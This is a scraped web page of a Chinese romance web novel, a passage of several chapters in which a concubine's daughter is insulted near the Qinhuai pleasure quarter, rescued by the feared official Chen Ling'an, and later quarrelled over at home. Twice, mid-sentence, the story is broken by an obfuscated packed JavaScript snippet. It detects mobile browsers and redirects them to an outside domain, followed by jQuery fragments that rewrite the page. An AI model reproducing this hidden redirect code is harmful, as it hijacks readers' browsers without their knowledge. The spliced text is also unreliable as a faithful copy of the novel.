爹娘只有她和妹妹两个孩子,自是倾尽全力扶持姑爷。张文的官越做越大,身边开始有莺莺燕燕,她不满,却无可奈何。 后来爹娘故去,他们夫妻的关系更是一日冷似一日。 她看人的眼光着实不大好呢。 蒋夫人沉默半晌,忽道:“三丫头想出门就随她吧,派两个稳重可靠的丫鬟婆子跟着。” 方妈妈愕然,须臾明白过来,欲言又止地叹息一声,默默退下去了。 蒋夫人呆坐了会儿,觉得累了,便到院中走一走。 今日天气很好,阳光灿烂,和风醉人,高墙下的玉兰树枝繁叶茂,婆娑摇摆。 她抬头,但见头顶上一块巴掌大的天。 - 张小满生怕嫡母反悔,一得信儿立马就和锦绣出了门。 自打来到京城,她不得不和大部分高门贵女一样,整日窝在家里极少出门,锦绣就更不用提了,走过最远的距离就是张家大门。 所以当车夫问去哪里的时候,她俩竟答不出来。 “去秦淮河吧。”张小满想了想,“听说那里是金陵最为繁华的地方,卖什么的都有,贡院、学宫都在那一片,笔墨铺子肯定很多,想必能淘到好东西。” 车夫怔楞了下,没说别的,扬鞭催马。 马车稳稳走在夯实的黄土道上,窗外从清幽变得热闹,渐渐的,厚实的车壁也隔绝不掉街边嘈杂的叫卖声,高一声低一声,拉着长音,九曲十八弯唱歌儿似的。 张小满掀开车帘,饶有兴趣地看着这些烟火世俗气息。 越走人越多,很快,马车陷在人流中动弹不得,两人便下了车,随着挤挤挨挨的人群往里走。 走着走着,张小满觉得不对劲了。 两岸是一幢接着一幢的河房,雕梁画栋、珠帘垂窗,每处房子都有一个伸出水面的露台,杂坐各色人等,其中不乏曼妙身姿、柔靡歌喉。 再看这一带的店铺,六七成都是做吃喝玩乐生意的,一眼望去,酒肆茶楼连成片,大小赌坊一个挨个一个,戏棚子锣鼓喧天。 到处都弥漫着花天酒地、纸醉金迷的味道。 二人不由面面相觑,此时方知她们来错了地方。 “好累。”张小满坐在糖水摊子前,用力捶着发酸发胀的腿,“真应该提前问问母亲,哪家的东西最好,咱们直接去买就是。” 锦绣一口气喝干一碗冰镇酸梅汤,舒舒服服吁出口气,“太太不大去去人多的地方,不见得知道,要我说,还不如问刘公子。读书人少不了逛笔墨铺子,他品味又高,肯定能帮姑娘挑到好东西。” 张小满笑笑,不说话。 锦绣干脆直接问出了口:“我怎么也想不明白,刘公子多么合适的结婚人选,姑娘怎么对他半点不上心?再这样下去,煮熟的鸭子就飞了。” “没感觉。”张小满道。 “感觉?什么感觉?” “就是喜欢的感觉啊。”张小满凑近了悄悄说,“心跳、脸红,不见他时想见他,见了他又怕见他,伶俐人也变得拙嘴笨舌,豁达人也开始拈酸吃醋。” 锦绣听得耳根子发热,同样压低声音说:“姑娘有喜欢的人?不会是那个陈……”到底没敢把剩下俩字说出来。 “哪儿跟哪儿啊!”张小满大笑,重新坐正身子,“我和他亲近,是因为他是故人,更是恩人,我把他当哥哥当亲人,没别的想法。” 锦绣“哦——”了声,语气不乏怀疑。 张小满待要再解释,却听身后传来一声男人的嗤笑,“竟敢公然议论男女情事,真是粗鄙不堪,毫无教养。” 虽没指名道姓,但一听就是在骂自己,张小满火气上窜,立刻回头去看。 后桌坐着几个身穿襕衫的年轻监生,其中一人正斜睨着她们,嘴角下撇,满脸的鄙夷不屑。 那监生瘦长脸,白净皮儿,小豆眼蒜头鼻,张小满仔细回想,确定自己没见过这个人。 锦绣已是气得了不得,霍然起身,指着他的鼻子骂道:“好个不要脸的书生,街头闹市嘈杂纷乱,你是费了多大的劲儿,才听到别人悄声低语?非礼勿视非礼勿听非礼勿言,你的书都读到狗肚子里去了!” 那监生从没被人如此辱骂过,脸腾地涨得通红,言语愈加尖酸刻薄,“有其主必有其仆,就这丑模样也配称大家闺秀?无耻下贱蠢笨村妇,没的辱没门风,哪个娶了,才真是祸患无穷。” 听他话音,应当知晓自己的来历出身,张小满 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那监生自以为将张小满压制住了,得意洋洋地招呼同窗给她致命一击,结果刚才还叉着手看热闹的同窗们,此刻居然躲得远远的,个个噤若寒蝉。 “诶,你们怎么回事?”他咋咋呼呼问。 “你在说什么这么开心,说出来让我也高兴高兴。”身后突然传来缓慢低沉的男声,轻飘飘压下来,压得他心脏都要爆炸了。 “周公子?”那个声音又在叫他。 周永昌僵硬地扭动身体,“没、没有……”嘴唇嚅动半天也说不出句完整话。 陈令安微微偏头,颇为遗憾地叹气,“不肯说?看来周公子是瞧不起陈某,唉,毕竟陈某是奸佞,为周公子这位君子所不齿也是应该的。” 周永昌只敢背后过过嘴瘾,万万想不到能被事主逮个正着。 他倒不算蠢到底,呆滞片刻便对张小满一揖到底,“小生有眼不识金镶玉,冒犯了姑娘,请姑娘恕罪则个。” 张小满已猜到他的身份了,就是先前提出相看她结果临了又反悔,把嫡母气得够呛的周家人。 她没见过他,他却认得她,定然是趁她某次外出,偷偷瞧过她了。 阴沟老鼠!张小满暗骂一声,说话自然带出情绪来,“我一个无知无礼的粗鄙村姑,自然是无理搅三分,得理更不饶人了。” 周永昌脸皮一僵,“我都道歉了,你还……”眼光瞥见一旁的陈令安,到底没敢把剩下的话说出来。 好汉不吃眼前亏,男儿膝下有黄金,一咬牙一跺脚,他“扑通”跪在张小满面前,“姑娘,小生无状,真心悔过了。” 张小满下意识就要躲开,不妨陈令安挡在她身侧,硬是叫她受周永昌的礼。 “起来吧。”张小满还是侧过了身子。 周永昌欣喜地站起来,刚要开溜,却听陈令安冷冷道:“放你走,感动不?” “唔……”周永昌不太敢动了。 陈令安:“讲个笑话,把我逗笑了,就放你走。” 周永昌惊惧交加,脑子空空哪有笑话可讲,憋了半天欲哭无泪道:“我看我就是个笑话……” 哄笑声立时在围观人群中炸开,连陈令安都忍不住莞尔。 周永昌掩面狂奔而去。 文人最重风骨,哪怕他日后高中入仕,今天这出也会成为他抹不去的笑柄。 这口恶气出得好生痛快! 张小满眼睛闪闪发亮看着陈令安。 她不知道,此刻她的脸悄悄地红了。 10. 第 10 章 意外相见,惊喜冲散了方才的晦气,张小满的笑容和天上的太阳一样灿烂了,“你特意找我的是不是?” 陈令安却没她那般兴奋,甚至可以说有些冷淡,“碰巧而已。” 张小满压根不信,“瞎说,金陵这么大,怎么可能说碰就碰上了。” 陈令安冷哼一声,提脚就走。 “诶,怎么说生气就生气!”张小满在后面紧赶慢赶,“等等我啊,我还有事要请教你呢!” 锦绣亦步亦趋跟在她旁边,自打知道英雄救美的是陈令安,初见的惊艳立刻烟消云散,取而代之的是防备——饶是她这个小丫鬟都知道陈令安的恶名,可不能让他把姑娘给骗喽! 陈令安没回头,有意无意放慢了脚步。 “我五妹妹喜欢写字画画,我想选件礼物给她,可我不懂行,你帮我挑挑好不好?”张小满一脸希翼。 陈令安终于屈尊纡贵看过来,“你来‘旧院’买纸笔?” 看张小满一脸的懵懂,便知她什么也不明白,陈令安没好气道:“这是秦楼楚馆萃集之地,你不知道,你家里人也不知道?” 张小满稍一琢磨就清楚怎么回事了,她不懂,车夫定然知道,却闭口不提醒,大约也是得了某人的“提点”。 不知那跟车的婆子有没有掺和。 她暗暗叹口气,旋即扬起笑脸道:“我想着贡院学宫都在这边,还以为……” 陈令安唇边浮现一丝讥诮,“多亏了那帮饱读圣贤书,自诩风流的文人才子,十里秦淮才平添许多香艳逸闻。” “不来了,我再也不来了!”张小满围着他转磨,“帮帮忙嘛,你肚里有真东西的,绝非那些伪君子能比。” “奸佞小人挑的东西,你敢送,别人也不敢要。” “你要是奸佞,世上就没好人了。” “呵,巧言令色。” …… 嘴上满是嫌弃,到底还是带着她们来到一处林荫蔽日的矮山,山脚下是不起眼的笔墨铺子,上面挂着一块黑漆金字牌匾,上书“南湖书斋”。 门面小小的,里面却很宽敞,几乎没有顾客,小伙计支着脑袋坐在柜台后,无聊地打着哈欠。 陈令安轻轻咳了声。 小伙计如梦初醒,听闻是来买画画用的东西,忙不迭开始介绍。 什么湖笔排笔蟹爪须眉、麻纸皮纸宣纸熟生绢,数不清的各色颜料……张小满没多久就听得头昏脑涨,看得两眼发懵,分不清孰好孰坏了。 好在还有陈令安,愣是在小伙计天花乱坠的推荐中,在犄角旮旯找出一盒五颜六色的石头,挑拣了好一会儿,方拣出几小块蓝色的,只问伙计买这个。 小伙计却说不卖,“掌柜的说了,这是一位老主顾订的,别人出多少钱也不能卖。” 陈令安沉默了,眼中闪过一瞥哀痛的光,却是转瞬即逝,再说话时,又是那副冷然的语气了,“去和你们掌柜的说,我陈令安想要的东西,还没有人敢不给。” 一听他的来头,小伙计脖子一缩,急忙进里屋问人拿主意。 不多时他出来了,把那几块石头包好放入一个小锦盒,恭恭敬敬道:“掌柜的说,钱已经提前付了,大人直接拿走就好。” “我不欠别人的情。”陈令安扔下张银票,转身出了店门。 张小满问他多少钱,“我还你钱,别客气,我现在也是个小富婆啦。” 陈令安挑挑眉头,似笑非笑地伸出一根手指头。 “一两?也还好嘛!”说着,小满低头去掏荷包。 陈令安“哈”的笑了声,摇摇手指,“一两银子还值得我带张银票?” “那……十两?”小满摸摸荷包,她只有五两碎银,恐怕要迟些再还他钱了。 陈令安不逗她了,“一百两。” “多少?!”张小满倒吸口冷气,乖乖,就几块指甲盖大小的石头,居然要一百两! “这么贵,咱们是不是被骗啦?”张小满小声提醒他。 陈令安失笑,拿着一块石头解释说:“这是青金石,也叫群青,是非常珍贵的颜料,价比黄金都说少了。” 张小满啧啧两声,心在滴血。 “你画画吗?”陈令安斜睨她一眼。 张小满摇头。 “这不就得了?再难得的颜料,在你手中也是无用,你特地给小妹妹买礼物,应是真心想与她交好的,送礼,当然要送到心坎里。” 看她还是龇牙咧嘴一脸肉疼的样子,陈令安猛地想到什么。 果然,张小满期期艾艾道:“那个……我能不能慢慢地还你钱?” 嫡母赏的东西万万不可变卖,她也没有可出息的私产,能支配的只有每月一两的例银而已。 要省钱偷偷给宣府阿婆寄去,还要留出打赏府里丫鬟婆子的钱,落在手里的能有三四百钱就很不错了。 本打算买个二三两银子的礼物,结果一下子出去一百两,猴年马月才能攒够啊! 这样下去可不行,张小满眉头慢慢皱起来,开始考虑赚钱的法子。 “休想赖账。”陈令安瞥她一眼,“写欠条给我,胆敢不还,我就在大朝上当着文武百官的面找张文讨债!” “人家又没说不还。”张小满嘀咕一句,眼见陈令安自顾自走远了,忙提裙跟上。 一直充当背景的锦绣忍不住腹诽:这一路怎么都是姑娘追赶陈令安?反了吧。 走出去没多远,便听林荫深处传来一阵读书声。 张小满好奇张望,“这里还有学堂?” 陈令安“嗯”了声,语气中带了点他自己也没察觉到的尖酸,“南翠书院,培育国之栋梁的地方。” 听着耳熟,好像是大哥读书的地方。张小满瞅瞅面色不善的陈令安,聪明地止住了这个话题。 张家的马车依旧停在原地,车夫和跟车的婆子正坐在茶摊儿上嗑瓜子喝茶聊大天,气氛那个热烈,锦绣叫了他们好几声,才慢吞吞地走过来。 却见张小满身旁多了位俊美无双的冷面公子,不由都是一愣。 陈令安连个眼风都没给他们,冲张小满晃晃手中的欠条,一言不发地走了。 因有外人在,锦绣满腹的话也没法说,好容易憋到家,刚进房门就迫不及待说:“姑娘,赶紧问太太要二百两银子,咱可不能欠他的债!” 张小满笑道:“不碍事,慢慢还,总能还上的。你可别和太太说去,不然我可真恼了。” 锦绣犹豫着答应了,“我是姑娘的丫鬟,当然要以姑娘的意思为先……可是今天的事,指定瞒不过老爷太太,姑娘还是想想待会儿怎么回话吧。” 张小满心不在焉点点头,手里把玩着那几块青金石,不知怎的,心里有点酸不溜丢的。 想了想,包上一小包盐津梅子,让锦绣送到北镇抚司衙门。 锦绣使劲摇头拼死不去。 说实话,亲近的人一个两个都对陈令安避如蛇蝎,张小满心里着实不好受,她深吸口气,缓声道:“你今天也见着他了,你看他吓人吗?” 锦绣迟疑了会儿,微微摇了摇头。 “这就是了。”张小满松口气,继续循循善诱,“今日若不是他,我们还不知要受多少羞辱,姓周的背后诋毁他辱骂他,他也没把姓周的抓进诏狱,可见他并非凶残横暴的人。世上最不可信的就是传闻,人们还说我是无知无礼蠢笨不堪的草鸡呢,其实我秀外慧中,聪明得紧!” 说完眉头高挑,下巴一抬,大有睥睨天下之姿。 把锦绣逗得“噗嗤”笑出了声,刚刚坚决的心已是松动了。 “姑娘不如送点别的,男人一般不爱吃蜜饯,咱家老爷大公子,都极少碰这些零嘴儿。”她说。 张小满让她只管去,“他肯定会收。” 锦绣拿着盐津梅子忐忑不安出去了,一脸惊奇地回来了。 “北镇抚司的人说陈大人有事进宫了,回来就把东西呈给他,我一提姑娘,他们立马恭恭敬敬的,态度别提有多好了!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15901249|176642||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 锦绣与张小满咬耳朵,“还有个事,我出去的时候,二门李婆子问都不问我去哪儿,角门上的人也是。他们往里日都与姚姨娘走得近,姑娘小心他们使坏。” 张小满颔首,暗暗准备好一番说辞。 结果出乎她们意料,张家平静得很,一点波纹都没泛起。 蒋夫人倒是在次日晨醒时,问张小满是否准备妥当了,还需要些什么,看样子,并不知晓她的小动作。 至于父亲张文,连面都没露。 锦绣拍着胸口不胜庆幸,张小满却觉怪异,想来想去,应是有人替她瞒下了。 会是谁呢? 她想和嫡母商量商量,可嫡母是个急性子爆脾气,若知道下人知情不报看她笑话,少不得又得和姚姨娘闹一场。 父亲也一定会一如既往地维护姚姨娘,斥责嫡母和她的不是。 她不怕父亲责骂,怕只怕嫡母平白受气,独自伤心。 小满思来想去,决定暂时按下不表,只等老太太来了再说。 一场细雨过后,张家老太太杨氏,携五姑娘张安懿并其生母孙姨娘回来了。 边老太太笃信佛教,俗事一概不理,一年中倒有大半都住在庵堂吃斋念佛,逢年过节才回家接受子孙们的孝敬。便是当初张小满回京,蒋夫人亲自去请她归家团聚,老太太也只是一声“知道了”。 那孙姨娘原是老太太跟前的丫鬟——老太太心疼儿子没个知冷知热的体贴人,看她敦厚老实,便指给儿子伺候了。 她比张文还大着几岁,姿色普通,没多少宠爱,直到生下张安懿才抬成姨娘。因而她无意陷入内宅的争斗,索性以女儿体弱须静养调和的借口,陪着老太太一直住在庵堂。 这是张小满第一次与她们见面。 边老太太略显富态,近六十的人了,头发还是乌如鸦羽,脸上不见一丝皱纹,垂眸敛目像尊沉静的观音像。 大约是在佛堂呆久了,浑身都被香烟腌渍入味。陪坐末席的小满已是隔了老远,那股味道还是直往鼻子里钻。 做派也如出世的高人,除却仔细问过儿子的生活起居,和蒋夫人说了几句话,对其他人非常平等地忽视了。 便是备受张文宠爱的姚氏母女,她也没多看一眼。至于新找回来的孙女张小满,也只是在行跪拜大礼时点了点头而已。 气氛一度十分沉闷。 孙姨娘轻声开口:“老太太,天热,人都在这里攒堆着憋闷的慌,不如让孩子们去碧纱橱里说话。” 边老太太微微阖目,算是默许了。 张小满张君懿不约而同松口气,相视一眼,又同时错开目光,一前一后去了隔壁的碧纱橱。 趁这会子功夫,小满把准备好的礼物拿给张安懿。 许是待在一起的时间太久,张安懿长得很像老太太,圆圆的脸蛋圆圆的眼,身板也圆鼓鼓的,像个发面馒头。 个头不高,穿着藏青素地袄裙,头上也素净得很,浑身上下一点鲜亮的颜色都没有,明明只是个十四岁的孩子,却散发着沉沉暮气。 但当她看到锦盒里的东西时,眼中立刻迸发出惊奇的光彩,拿着石头看了又看,摸了又摸,就是舍不得放下,“真漂亮,调出来的颜色一定很好看,我真是太喜欢了,三姐姐,谢谢你!” 张小满莞尔一笑:可算有点小孩子的模样了。 张君懿也走过来瞧,她是识货的,只一眼,就看出其价值不凡来,“青金石?!五妹妹,你该谢的人是太太,三姐姐可拿不出这么好的东西来,肯定又是从太太私库里拿的。” “妹妹说错了,这是我买来的。”张小满分辩道,“母亲做事一向公平,别什么都往母亲身上扯。” 张君懿冷笑道:“这几块青金石少说也要上百两银子,你哪儿来的钱?太太偏心你又不是一日两日了,谁嫉妒你似的,大大方方说出来,欲盖弥彰真小家子气。” 她声音不算小,格栅门那边很快听到动静,须臾便有丫鬟让姐妹三人过去回话。 11. 第 11 章 张文只问过张君懿一人,便认定是蒋夫人私下贴补张小满。 “一样的女儿,偏不一样的看待,怎么说也是大家子出来的人,偏心到如此地步,不得不令人怀疑掌家的能力。” 已是丝毫不掩饰逼她移交中馈的打算了。 蒋夫人气得涨红了脸,立刻就要反唇相讥,然转念一想,她的的确确没有给小满银子,更没有青金石,小满只能是变卖首饰衣料换的钱。 张文本就不喜小满,让他知道了,定会大骂小满不守规矩,外流闺阁之物用心叵测云云。 蒋夫人深吸口气,准备认下“罪名”。 却在这时,张小满脆生生的嗓音响起了,“父亲冤枉母亲了!是陈令安帮我垫的银子,我还给他写了欠条呢,不信,父亲尽可上朝时问问他。” 她说出银子的缘由,张文等人知晓他们关系,听起来还不觉怎样,新回府的人齐齐打了个寒颤。孙姨娘“啊”的叫出声来,闭目假寐的边老太太霍地圆睁双目,手上的念珠都掉了。 饶是年岁小的张安懿也在孙姨娘的示意下,惴惴不安地预备退回青金石。 “孽障,又私自与外男见面!”张文一拍桌子,“我看你是欠管教。” “你们怎么碰到的,区区一百两银子,怎么还逼你写欠条,他没胁迫你别的吧?”蒋夫人急急拉过张小满,无形中将她护在身后。 张小满心里泛上一阵热辣辣的暖流,“没有,是我说要还钱。那天我去旧院买东西,遭周公子无端谩骂,幸好陈令安路过,出手替我解围。” 蒋夫人还在消化这句话,姚姨娘已大声惊呼,“什么?你竟然去旧院?” 张文一怔,旋即怒不可遏,一面命人拿家法,一面大喝:“有伤风化,败坏家声!今日不把你打死,我张家迟早会毁在你手里!” 蒋夫人急了,“孩子还小,往后好好教导也就是了,杀子的名声难道好听吗?” 姚姨娘也上前劝阻,“老爷息怒,老太太是吃斋念佛的人,万万见不得血光,老爷,瞧着老太太吧。” 一句话提醒了张文,立刻吩咐绑了张小满,“送去庵堂,剃度出家,永生不得踏出山门一步。” “不行!”蒋夫人厉声道,“事情还没搞清楚,谁也不能动三丫头。老爷,你就不怕陈令安问你要人吗?” 话刚出口,她就怔住了——她竟想也不想就用陈令安压张文? 然而这句话立时起了作用,张文犹豫了。 趁着空档,张小满故作不解道:“姚姨娘,旧院是什么地方?我只听说十里秦淮是金陵城最繁荣的地方,什么稀奇玩意儿都有,这才想去的。车夫也好,跟车的婆子也好,都没说不妥。” 姚姨娘垂下眼帘,她自是知道,却不好直白地说出来。 “小满才来几天,出过几趟门?她哪知道旧院新院的。”蒋夫人此时也冷静下来,抓住疑点猛攻,“车夫是谁,跟车的婆子又是谁,他们总不会不知道,事先不提醒,事后不禀报,憋着一肚子坏水看主人家笑话。” 蒋夫人斜了姚姨娘一眼,冷哼道:“来人,把他们绑上来,我倒要问问,谁给他们的胆子!” 姚姨娘自有应对之法,悄悄扯了扯张文的袖子,“今儿个老太太刚回来,府里就发落下人,人多口杂,传出去还以为是老太太容不得人,有碍老太太仁和慈爱的名声。” 张文仔细一想就明白爱妾必做了手脚。 他并不反感妻妾相争,甚至还有点乐见其成,看着出身高贵的蒋氏为他吃醋生闷气,和出身低下的妾室通房勾心斗角,绞尽脑汁博取他的欢心,他就从心底萌生出一种说不出的快意。 姚氏也着实娇媚动人,对他百依百顺,床笫之私颇得他心意。 所以他宠爱姚氏,由着她与蒋氏作对。 但这次居然闹到陈令安面前,那人岂能看不穿这点小伎俩,如果在皇上面前说上几句“治家不严,后宅不宁”,皇上会不会怀疑他的能力? 姚氏玩点小手段可以,却不能损害他的仕途。 这是他的底线。 一股怒气升腾起来,张文甩开姚姨娘的手,冷声道:“车夫和跟车的婆子打二十大板,家生子阖家发卖,外头买的直接轰出去,只许留贴身衣服,旁的一概不许带走!” 姚姨娘脸色发白,怨毒地盯视蒋夫人一眼,旋即低垂眼帘,做出一副与己无关的姿态。 张文自以为足够严苛的惩戒,蒋夫人却觉他在有意偏袒姚姨娘,“没人授意,他们吃了熊心豹子胆敢算计主子?” “说到底也是你这个主母的疏忽,你怎么管家的?瞧这问心无愧的架势,倒像不是张家太太一样。” 张文瞥了眼她,又瞪着张小满冷声道:“念你不知,姑且饶过你,胆敢有下次,我扒了你的皮。” 说罢对边老太太道了声不孝,方冷着脸退出去了。 边老太太接过孙姨娘捡起的念珠,就着她的搀扶起身,“闹吧,你们就闹吧,等哪天把张家闹散了,你们就称心如意了。” 蒋夫人姚姨娘忙说不敢。 边老太太看也不看她们一眼,自顾自道:“六月十九是观世音菩萨成道日,姚氏,这阵子你就好生在院子里呆着,仔细抄写十遍《妙法莲华经》。” “抄写前净手焚香,期间不得用荤腥,不得玩乐,要清心寡欲没有杂念。待我供于佛前,也算你的一份功德。” 这不就相当于变相软禁?姚姨娘身子晃晃,到底吞下眼泪说了声“是”——护着她的人不在,哭也没人理会。 走了两步,边老太太又回身来看蒋夫人,“教养子女,管理妾室,辅佐夫君,是你这个太太分内的事。你是高门大户出来的姑娘,有些话我不好多说,可你看看现今这个样子……唉。” 蒋夫人紧紧抿着嘴角,渐渐红了眼圈。张小满看见,胸口跟堵了团棉花似的发闷。 边老太太仍是没有正眼瞧张小满,只对恋恋不舍看着青金石的张安懿道:“拿着吧,别辜负你三姐姐一片好意。蒋氏,陈令安的债不能欠,赶紧还上,再准备一份合适的谢礼——怎么说他也帮了张家姑娘一把。” 蒋夫人不赞同,“银子是该还,可这谢礼,还是问问老爷的意思再做决定。” 欠债还钱,天经地义,可送礼就代表着想要结交陈令安,而陈令安现时就是士林公敌,此举必会影响张文的声望。 边老太太沉吟着若有所思,好一会儿才说:“自然不能以张家的名义送,谁借的钱,就让谁去送。” 竟还要小满去接触陈令安?蒋夫人愕然。 边老太太没有过多解释,只瞧着欢天喜地抱着青金石的张安懿,轻飘飘抛下一句,“小孩子家家的,今天喜欢,明天说不定又扔到一边,猫一阵狗一阵没个定性。” 蒋夫人听明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15901250|176642||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白了,叫小满去送礼,若日后有人拿此事排挤攻讦老爷,大可推说是孩子间的往来,做不得数。如此既能向陈令安示好,也牵扯不到老爷。 理儿是这个理儿,可把小满当什么了? 蒋夫人一阵烦闷,连姚姨娘吃挂落都让她笑不起来了。 一场久别重逢的团聚不欢而散。 回到院子,蒋夫人犹自忿忿。 方妈妈宽慰说:“凭三姑娘的性子,肯定还会私下找那个人,现在有了‘尚方宝剑’,可以明着去找,不必担心落人口舌。” 蒋夫人叹道:“陈令安一直得势还好,假如哪天倒台了,我看他们第一个就要抛弃她。” 这倒极有可能,可方妈妈不好说主人家的不是,只袖着手微笑。 蒋夫人还在抱怨,“老太太今儿头一回见小满,居然连个见面礼都没准备,真是!”一面又自责太粗心,“我早该贴补她的,打今儿起,每月三丫头多二两的份例,从我这里出,不走公中的帐。” 方妈妈先应了声“是”,掂掇一阵慢慢道:“三姑娘一向活泼灵动,今儿可足够沉稳,换个人,一见老爷要打杀了她,早吓得惊惶失措,哭着求饶了。” 蒋夫人惊讶抬头,“你的意思……” 方妈妈心一横,索性把心里的话全说了出来,“那么名贵的石头,三姑娘绝对买不起,老爷一定会怀疑是太太私下补贴她,三姑娘不是蠢人,肯定能想到,为什么提前不说?” 蒋夫人不在意地笑笑,“大概是怕我骂她吧,毕竟我三令五申不许她与陈令安再有往来。” “这就是了。”方妈妈道,“她有陈令安撑腰,笃定老爷不会拿她怎样,今儿才有恃无恐,却惹得太太又和老爷生隙。从前老爷一个月还来个几趟,可自打三姑娘回来,老爷踏进正院的次数屈指可数。” “太太,不要再因为三姑娘和老爷起冲突了!” 蒋夫人笑容僵住了,“都是因为姚氏……” “以前也有姚姨娘!”方妈妈捉急,头一次不顾尊卑打断主人的话,“奴婢说句僭越的话,三姑娘也有点忒不识好歹了,刘家那样体面的亲事都不放在眼里,偏和陈令安纠缠不清。” “且不说陈令安这人如何,就说太太操多少心,费多少力,又搭进去多少人情,才促成刘家相看她。她倒好,相亲宴上直接认刘家死对头做竹马。” “刘家看着太太姨太太的面子,没发作,还愿意继续议亲,给足了台阶让她下。她不说收敛,反倒一而再,再而三去找陈令安。” “这让太太今后怎么和刘家打交道?就是面对姨太太也说不过去啊。太太娘家老太爷老太太都不在了,又没有亲兄弟可倚靠,唯有姨太太一个至亲……她就不考虑考虑太太的处境?” 方妈妈重重叹出口气,“还有,她被亲生父亲摒弃,就一点不难过?三姑娘面上丝毫不显,局外人似的看热闹,我看她就没把自己当张家人。如此凉薄,即便嫁得好人家,只怕扭脸就忘了太太的恩情。” 蒋夫人被这番说辞惊住了,呆滞地嚅动了下嘴唇,“我不会又看错人了吧……” 死样的沉寂顿时侵蚀了屋子。 外面不知何时起了风,挟着雨腥味,吹得帐幔簌簌颤抖着胡乱飘动,方妈妈忙去关门窗,却见小丫鬟急匆匆拐进廊下。 “周太太来了,有要紧的事请见太太,烦请妈妈通禀一声。” 12. 第 12 章 蒋夫人提起周家就来气,直接说不见,连借口都懒得用。 门子把话传到,砰的关上了门。 周太太浑身一颤,接着疯了似地捶打门板,“人命关天,耽误不得!我要见蒋夫人,不,张小满,我要见张小满!” 任凭她把门拍得山响,哭喊声再凄厉,门子还是无动于衷。 细雨飘摇,姚姨娘撑伞沿着鹅卵石小路慢慢走来,门子忙起身问好,见她站在门洞子下,打扮却不像要出门的样子,因赔笑道:“姨娘这是……” 姚姨娘皱起眉头,若是以往,她一个眼神过去,门房早就殷勤地开了侧门,现在却装傻动弹,准是打量着她失宠了,不肯再巴结奉承。 所以她必须扳回一城,给这起子跟红顶白的下贱胚子看看,谁才是张家真正的女主人。 姚姨娘抬起下巴,“外面是周家太太吧,为什么不开门?” 门子答道:“太太有吩咐,不见周家的人,也不准给她开门。” 姚姨娘掩口惊呼一声,“那怎么行?周大人和老爷同朝为官,这样对他夫人,以后还见不见面了?开门,快请周太太进来。” 门子站着不动,只谦恭地笑着,“姨娘就别为难小的了,我开了门,回头太太把我发卖出府,我可找谁说理去。” 饶是姚姨娘再能掩饰情绪,此刻脸色也阴沉下来,“你想想清楚,这是张家,做主的是老爷,老爷可有说不让周太太进来?” 门子覷着她的脸色,“姨娘是说……老爷让她进来?” 姚姨娘面皮一僵,到底没敢再借张文的名头办事,转而抛出个诱人的条件,“你家小子也到了当差的年纪,明儿个先送进府学学规矩,等端午大爷回家,就跟着他伺候吧。” 门子登时喜出望外,儿子做大爷的书僮,比外院跑腿打杂好上百倍,便是太太罚自己,他也认了。 再说,日后嫡母亲娘哪个占上风还不晓得嘞! 他给自己的脸轻轻来了两下,一边骂自己猪油蒙了心,一边要去开门。 姚姨娘轻蔑地笑笑,“你也别说我难为你,把人请到门房说话,不算违背太太的吩咐。” 门子点头哈腰连连称是,把姚姨娘请进门房坐着,又不知从哪里端来一壶茶并四样点心,仔细涮洗过杯子,方开门迎进周太太。 周太太一进门,见是个上不得台面的姨娘,便有些迟疑。 姚姨娘不由一阵暗恼,面上仍是温温柔柔的笑,优雅一抬手。 “周太太请坐,我们太太恼恨你,放狠话要与周家绝交。不过我想着,若不是遇到极难的事,你也不会登我家的门,就算亲事不成,也不能是仇家,再说了,周老爷和我家老爷还是同乡,万万没有见死不救的道理。” 这番话简直说到周太太的心坎里,顿时觉得姚姨娘顺眼起来,嘶哑着嗓子哭道:“我家老爷被陈令安抓走了,我到处求人,斡旋好几天都没个结果,如今只能指望你家出面了。” 姚姨娘浑身一颤,原本想借此散布蒋氏小肚鸡肠的名声,竖起自己温厚贤淑的形象,却无论如何没想到接了个烫手炭团! 老爷向来远离朝中争斗,绝不能求到他面前去,可她一个内宅妇人,插手朝堂就是异想天开。 她开始后悔给周太太开门了。 周太太泪眼婆娑,丝毫没注意姚姨娘脸上的悔色,“你家三姑娘和陈令安是旧相识,关系很好,平阳侯府四时宴上,就是她救下了刘家公子。能不能让她跟陈令安求个情……” 姚姨娘心头一动,想起张小满曾说被一位周公子刁难,因问道:“前些天你儿子是不是去过旧院,遇到三姑娘了?” 果然,周太太眼神开始闪烁,期期艾艾半天方点了点头。 姚姨娘眼神变得意味深长。 周太太苦笑道:“我连谢礼都准备好了,就是见不到她的人。” “即便你今日能见到她,也成不了事。”姚姨娘身子前倾,与她耳语一番,“……如此,方是稳妥之法。” 周太太脸上先是闪过疑惑,继而吃惊地睁大眼,明显的犹豫了,不知又想到什么,带着几分毅然决然重重点头。 雨丝又细又密,乳白色的水雾渐渐弥漫上来,模糊了周太太远去的身影,也隐去了姚姨娘挂在唇角的哂笑。 不知是门子泄露了风声,还是哪个路过的下人看到,转天张文便问起此事。 姚姨娘早有准备,回答得滴水不露,“她在门口又哭又闹,不免引起路人猜疑。妾担心传出不好的话来,影响老爷的官声,就自作主张劝慰她几句,好歹把人送走了。” 